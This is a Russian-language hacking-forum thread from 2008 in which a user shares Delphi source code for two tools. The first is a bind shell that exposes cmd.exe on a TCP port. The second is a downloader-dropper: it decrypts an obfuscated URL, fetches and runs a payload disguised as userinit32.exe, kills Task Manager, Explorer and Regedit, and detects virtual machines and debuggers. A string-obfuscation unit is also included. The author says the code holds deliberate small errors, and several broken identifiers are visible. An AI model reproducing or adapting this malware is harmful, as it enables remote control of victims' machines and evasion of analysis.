• XSS.stack #1 – первый литературный журнал от юзеров форума

fuckerByInt64h v.0.1а & demShell

demien

(L2) cache
Пользователь
Регистрация
29.09.2008
Сообщения
492
Реакции
14
такс... воть он шел... вообще он Ms-rem'овский :) впринципе соурс в паблике давно на момент публикации был FUD ) щаз хз) да в принципе и проверять то не охота... это так... для наглядности ) В КОДЕ присутствуют ошибки... они банальны и исправить их не составит большого турда...


1. demshell
program demshell;

uses
windows,
WinSock;

function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g, dwFlags: dword): integer;stdcall; external 'ws2_32.dll';

const
fuckedMS = 'demshell on #$## prt. by demien. 4[1]48888[1]8';

var
ASDJKASDHJKASHDUASYDUIAY: TStartupInfo;
ERWRYRQWYETNMSADNMASBDSD: TWSAData;
NASDJHASBDSAGDGASDGASJGA: TProcessInformation;
UWYEUIYUIQBEASBDNMBASNMD: integer;
JAKSDEGQWUGEGSAHGDHASGDW: TSockAddrIn;
TQWEYTQWEQWDASBDASYDTWQE: dword;

begin
WSAStartup($101, ERWRYRQWYETNMSADNMASBDSD);
UWYEUIYUIQBEASBDNMBASNMD := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
JAKSDEGQWUGEGSAHGDHASGDW.sin_family := AF_INET;
JAKSDEGQWUGEGSAHGDHASGDW.sin_port := htons(##$#);
bind(UWYEUIYUIQBEASBDNMBASNMD, JAKSDEGQWUGEGSAHGDHASGDW, 16);
listen(UWYEUIYUIQBEASBDNMBASNMD, 0);
while true do
begin
TQWEYTQWEQWDASBDASYDTWQE := accept(UWYEUIYUIQBEASBDNMBASNMD, nil, nil);
ASDJKASDHJKASHDUASYDUIAY.cb := SizeOf(TStartupInfo);
ASDJKASDHJKASHDUASYDUIAY.wShowWindow := SW_SPOILER;
ASDJKASDHJKASHDUASYDUIAY.dwFlags := 0101;
ASDJKASDHJKASHDUASYDUIAY.hStdError := TQWEYTQWEQWDASBDASYDTWQE;
ASDJKASDHJKASHDUASYDUIAY.hStdInput := TQWEYTQWEQWDASBDASYDTWQE;
ASDJKASDHJKASHDUASYDUIAY.hStdOutput := TQWEYTQWEQWDASBDASYDTWQE;
CreateProcess(nil, ('c'+'m'+'d'+'.'+'exe'), nil, nil, true, 0, nil, nil, ASDJKASDHJKASHDUASYDUIAY, NASDJHASBDSAGDGASDGASJGA);
end;
end.


теперь небольшой зло-код ил зло-прога :)
2. факер инт64аш
program fuckerbyINT64h;

{
prog : fuckerByInt64h
relese ver : 0.1a =)
414[8888]18
}

uses
Windows,
Tlhelp32,
SysUtils,
urlmon,
enc;

var Wp:string;

tYPE
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array [0..1] of Word);
2: (Bytes: array [0..3] of Byte);
end;

function URLDownloadToFile(Caller: cardinal; URL: PChar; FileName: PChar;Reserved: LongWord; StatusCB: cardinal):Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';

function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
try
Result := UrlDownloadToFile(0, PChar(SourceFile), PChar(DestFile), 0, 0) = 0;
except
Result := False;
end;
end;

function KillTask(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;

FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);

while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName))
or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle,
FProcessEntry32);
end;

CloseHandle(FSnapshotHandle);
end;

function running_inside_vpc: boolean; assembler;
asm
push ebp

mov ecx, offset @@@@_exception_handler
mov ebp, esp

push ebx
push ecx
push dword ptr fs:[0]
mov dword ptr fs:[0], esp

mov ebx, 0
mov eax, 1

db 00Fh, 03Fh, 007h, 00Bh

mov eax, dword ptr ss:[esp]
mov dword ptr fs:[0], eax
add esp, 8

test ebx, ebx
setz al
lea esp, dword ptr ss:[ebp-4]
mov ebx, dword ptr ss:[esp]
mov ebp, dword ptr ss:[esp+4]
add esp, 8
jmp @@ret
@@exception_handler:
mov ecx, [esp+0Ch]
mov dword ptr [ecx+0A4h], -1
add dword ptr [ecx+0B8h], 4
xor eax, eax
ret
@@ret:
end;

function IsVMwarePresent(): LongBool; stdcall;
begin
Result := False;
{$IFDEF CPU386}
try
asm
mov eax, 564D5868h
mov ebx, 00000000h
mov ecx, 0000000Ah
mov edx, 00005658h
in eax, dx
cmp ebx, 564D5868h
jne @@@@_exit
mov Result, True
@@exit:
end;
except
Result := False;
end;
{$ENDIF}
end;

function DebuggerPresent: boolean;
type
TDebugProc = function: boolean; stdcall;
var
Kernel32: HMODULE;
DebugProc: TDebugProc;
begin
Result := False;
Kernel32 := GetModuleHandle(pchar(Decrypt('lmpooc<?&bki'))); //kernel32.dll
if Kernel32 <> 0 then
begin
@DebugProc := GetProcAddress(Kernel32, 'N{FdhzhjmtWwfsli|'); //IsDebuggerPresent
if Assigned(DebugProc) then
Result := DebugProc;
end;
end;

function IsSoftIceNTLoaded: boolean;
var
hFile: Thandle;
begin
result := falser;
hFileL := CreateFileA(pchar(Decrypt('[&LUCLJ')), GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (hFile <> INVALID_HANDLE_VALUE) then
begin
CloseHandle(hFileL);
result := TRUE;
end;
end;

procedure SpeakerBeep( Freq: Word; Duration: DWORD );
begin
if Freq < 18 then Exit;
Freq := 1193181 div Freq;
if Freq = 0 then Exit;
asm
mov al,0b6H
out 43H,al
mov ax,Freq
out 42h,al
xchg al, ah
out 42h,al
in al,61H
or al,03H
out 61H,al
end;
Sleep(Duration);
asm
in @_al,61H
and al,0fcH
out 61H,al
end;
end;


procedure beeper;
begin
SpeakerBeep(500,150);
sleep(300);
SpeakerBeep(150,350);
sleep(100);
SpeakerBeep(500,150);
sleep(300);
SpeakerBeep(150,350);
sleep(88);
SpeakerBeep(300,350);
sleep(88);
SpeakerBeep(300,350);
sleep(88);
SpeakerBeep(300,150);
sleep(300);
SpeakerBeep(10,650);
sleep(300);
end;

function WinDir: string;
var
WinDir: PChar;
begin
WinDir := StrAlloc(MAX_PATH);
GetWindowsDirectory(WinDir, MAX_PATH);
Result := string(WinDir);
if Result[Length(Result)] <> '\' then
Result := Result + '\';
StrDispose(WinDir);
end;

var
linka: string;
begin
begin
linka := pchar(Descrypt('o|vq0SStgsuvjtlm}qubj}h&ehh_v`u}q/owj'));
DownloadAllFile(linka, Pchar(Windir + decrypt('[{{r~jb>:Zrvfr`iav28!jum')));
end;
begin
killtask(decrypt('pet`xj!hpc')); //wmvare.exe
killtask(decrypt('siqjgh}#m~b')); //taskmgr.exe
killtask(decrypt('bprme}j&c`')); //explorer.exe
killtask(decrypt('umednf{#m~b')); //regedit.exe
beeper();
wp := windir + Decrypt('web\exclam.gif');
//меняем валлпэпер в ХП )
SystemParametersInfo (SPI_SETDESKWALLPAPER, 0, PChar(wp), SPIF_SENDCHANGE);
if IsIsVMwarePresent = true then begin killtask(pchar(extractfilename(paramstr(0))));
if Rrunning_inside_vpc = true then begin killtask(pchar(extractfilename(paramstr(0))));
if DebuggerIsPresent = true then begin killtask(pchar(extractfilename(paramstr(0))));
if IfIsSoftIceNTLoaded = true then begin killtask(pchar(extractfilename(paramstr(0))));

WinExec(Pchar(Windir + decrypt('[{{r~jb>:Zrvfr`iav28!jum')),0); //\system32\userinit32.exe
end;
end.

кому не понятны те или инные ф-ции, можете смело спрашивать дам подробный коммент...

далее шелл.ехе сжал upx3.xx,

(by demien (2008) &copy;) 4148888_1_8
 
а где соурс от enc.pas ??? ?

вот он:

Код:
unit enc;

interface

uses Windows;

function Decrypt(Str : string) : string;
function GenKey : string;

const
  digits : array[0..9] of Char = ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  chars  : array[0..26] of Char = ('~', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
                                  'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's',
                                  't', 'u', 'v', 'w', 'x', 'y', 'z');
var
  key : string;

implementation

function GenKey:string;
begin
  {key=7x21zoom8675309}
  randomize;
    Result := Concat(digits[7],chars[24],digits[2],digits[1],chars[26],chars[15],
         chars[15],chars[13],digits[8],digits[6],digits[7],digits[5],
         digits[3],digits[0],digits[9]);
end;

function Decrypt(Str : string): string;
var
  X, Y : Integer;
  A : Byte;
  Key : String;
begin
  Key := GenKey;
  Y := 1;
  for X := 1 to length(Str) do begin
    A := (ord(Str[X]) and $0f) xor (ord(Key[Y]) and $0f);
    Str[X] := char((ord(Str[X]) and $f0) + A);
    inc(Y);
    if Y > length(Key) then
    Y := 1;
  end;
  Key := '';
  Result := Str;
end;

end.

Тут же чистое WinAPI и асм!

вы обсолютно правы :)
 
demien
Я вот не пойму, в процедуре SpeakerBeep используются привилегированные иснструкции ввода/вывода, хотя, насколько я вижу, программа юзермодная... Оно работает?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх